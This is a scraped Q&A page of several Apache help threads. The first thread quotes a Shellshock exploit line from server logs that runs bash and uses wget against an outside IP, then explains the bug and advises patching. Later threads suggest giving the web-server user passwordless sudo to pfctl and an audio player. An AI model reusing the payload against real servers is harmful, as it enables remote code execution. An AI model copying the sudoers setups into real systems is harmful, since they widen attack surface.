I'm running several virtual hosts on Apache 2.2.22 and just noticed a rather alarming incident in the logs where a "security scanner" from Iceland was able to wget a file into a cgi-bin directory with the following http request line:
() { :;}; /bin/bash -c \"wget http://82.221.105.197/bash-count.txt\"
It effectively downloaded the file in question.
Could any one explain how this request manages to actually execute the bash command ?
Naturally, the cgi-bin shouldn't be writable, but it would still be helpful to understand how this type of exploit functions and if there isn't some way to change the Apache configuration parameters so that request commands are never executed ...
This may be unrelated, but several hours later, there has begun a stream of strange requests from the internal interface, occurring every 2 seconds:
host: ":443" request: "NICK netply" source ip: 127.0.0.1
This is a vulnerability in bash which is exposed via Apache referred to as the "Shellshock" or "bash bug" and allows an attacker to execute arbitrary commands both locally and remotely making it a very serious vulnerability.
You need to update bash, but you are showing signs of an already compromised system. For more information on shellshock including detection and fixing, see:
digitalocean.com
shellshocker.net
Related
I am using NearlyFreeSpeech Server Type Apache 2.4 Generic, logged in via ssh and wondering why I'm getting this message:
I have tried to do distributed testing with two servers for a request which requires two way SSL handshaking. This is working fine when we are not using remote hosts for testing
sh jmeter.sh -n -t sample_Load_Test/sample_test.jmx -l sample_report/Log/results.jtl -e -o sample_report/Dashboard/
Jmeter Success:
But on trying to use the remote hosts for the same jmx file, the SSL handshake is failing. I have put the same same jmeter.p12 and truststore.jks in all the servers which are used for distribute testing.
Command used:
sh jmeter.sh -n -t sample_test/sample_load_test.jmx -l sample_report/Log/results.jtl -e -o sample_report/Dashboard/ -r -Jserver.rmi.ssl.disable=true
Please see the error that I am getting
Jmeter Failure:
<httpSample t="20" it="0" lt="0" ct="20" ts="1545068074631" s="false"
lb="HTTP Request" rc="Non HTTP response code:
javax.net.ssl.SSLHandshakeException" rm="Non HTTP response message:
Received fatal alert: handshake_failure"
Does anyone knows what I am doing wrong here
I can think of 2 possible causes:
You use different JRE versions on master and slaves and they have different SSL configuration in terms of storing certificates. Make sure you use exactly the same Java runtime everywhere and configuration is the same.
Your test relies on client certificates and on one of the slaves you don't have them defined in system.properties file or in SSL Manager make sure to use the same JMeter version and the same set of config files and external data files on each slave.
Get used to look into jmeter.log and/or jmeter-server.log files - in the majority of cases you should get the reason of the failure or unexpected behavior from the log.
I am trying to configure loggly in apache in my ubuntu machine.
What I have done is
curl -O https://www.loggly.com/install/configure-apache.sh
sudo bash configure-apache.sh -a XXXXXX -u XXXXXX
After entering the last line it's saying
ERROR: Apache logs did not make to Loggly in time. Please check network and firewall settings and retry.
Manual instructions to configure Apache2 is available at https://www.loggly.com/docs/sending-apache-logs/. Rsyslog troubleshooting instructions are available at https://www.loggly.com/docs/troubleshooting-rsyslog/
Any idea why it's showing and how to solve it?
This is likely a network issue or a delay in sending the logs or even an issue with the script. Check out the following link that has the manual instructions. https://www.loggly.com/docs/sending-apache-logs/ that you can follow and use to verify the script created the configuration files correctly.
I am trying to run python script in Apache 2.x with mod_python. I edited httpd.conf with publisher
LoadModule python_module /usr/local/apache2/modules/mod_python.so
<Directory /usr/local/apache2/htdocs/mod_python>
SetHandler mod_python
PythonHandler mod_python.publisher
PythonDebug On
I am trying to add a rule in firewall using python script which require root privilege. it's asking for root privilege ? Please somebody help.
#!/usr/local/bin/python
#from mod_python import apache
import sys
import errno
import pf
def index(req):
filter = pf.PacketFilter()
try:
# Enable packet filtering
filter.enable()
print "pf is enabled"
return "pf is enabled"
except IOError, (err, msg):
if err == errno.EACCES:
#sys.exit("Permission denied: are you root?")
return ("Permission denied: are you root?")
elif err == errno.ENOTTY:
#sys.exit("ioctl not supported by the device: is the pf device correct?")
return ("ioctl not supported by the device: is the pf device correct?")
this is python script which i want to execute though apache at openBSD. it uses mod_python.
Please post your python script somewhere and give us the link.
How is your python script trying to communicate with pf? through pfctl? lets say you are tryng to add an IP to a table
pfctl -t thetable -T add x.x.x.x
Find out which user runs apache
ps aux | grep apache
Then you must edit /etc/sudoers to have that user be able to run the pfctl command without a password. So lets say that you run apache as www. place the following in sudoers :
www ALL=(ALL:ALL) NOPASSWD: /sbin/pfctl
Finally in the python script (lets say you call the external command with subprocess)
from subprocess import call
call(["sudo","pfctl","-T","theTable","-t","add", "x.x.x.x"])
But please keep in mind that the whole scheme is really a bad idea and you shouldn't do it that way. get rid of the python script if you can and run the bundled apache 1.3 which is privseped and audited. Run the webserver in a chroot. Never expose the control of your firewall to user input specially when this comes over the web. I am sure that if you elaborate on what you want to do , we could find a much more efficient and secure setup.
You cannot run Python scripts under mod_python as the root user. This is because Apache will always drop privileges to an untrusted user. The only way to get around it would be to recompile Apache from source code and define a magic preprocessor macro which enables the security hole which allows Apache worker processes to run as root.
In summary, don't do it, it is dangerous.
Also be aware the mod_python is no longer maintained or developed and it is questionable as to whether you should use it in the first place.
How can I run a command from a (bash) CGI script to play a wav sound on the server side?
You can execute your command line audio player as described by nak, but this may not work due to the permissions of the user running Apache. By default Apache is run as www-data:www-data (or apache:apache or www:www on some distros). As a quick fix/test you can set Apache to run as a user that has permissions to access the audio device on the machine by modifying your /etc/apache2/apache2.conf (or /etc/httpd/httpd.conf") file to have:
User USER_THAT_CAN_PLAY_AUDIO
Group USER_THAT_CAN_PLAY_AUDIO
Warning: this is not secure and is not intended to be a permanent solution!
This is how I would do it
#!/bin/sh
echo Content-type: text/plain
echo ""
echo "Server is playing sine.wav!"
aplay -q sine.wav
I stumbled over this old question looking how to solve the same problem: to have my personal Apache webserver warning me when someone makes a specific request (in my case a call for chat without the need to have any IM running).
The solution below is what I use on Slackware 14.1: according to your distro YMMV.
launch visudo
add the line TheUserRunningApache ALL=(ALL) NOPASSWD: /usr/bin/play (TheUserRunningApache is the user name used by your Apache)
In the PHP page you want to play a sound add this line: system ("sudo /usr/bin/play SOUND.WAV");
If you don't want to give access to Apache to the /usr/bin folder, even if limited just to play, you can copy the sox executable (the program used to run /usr/bin/play) elsewhere, but you'll have to modify the last two instructions above accordingly.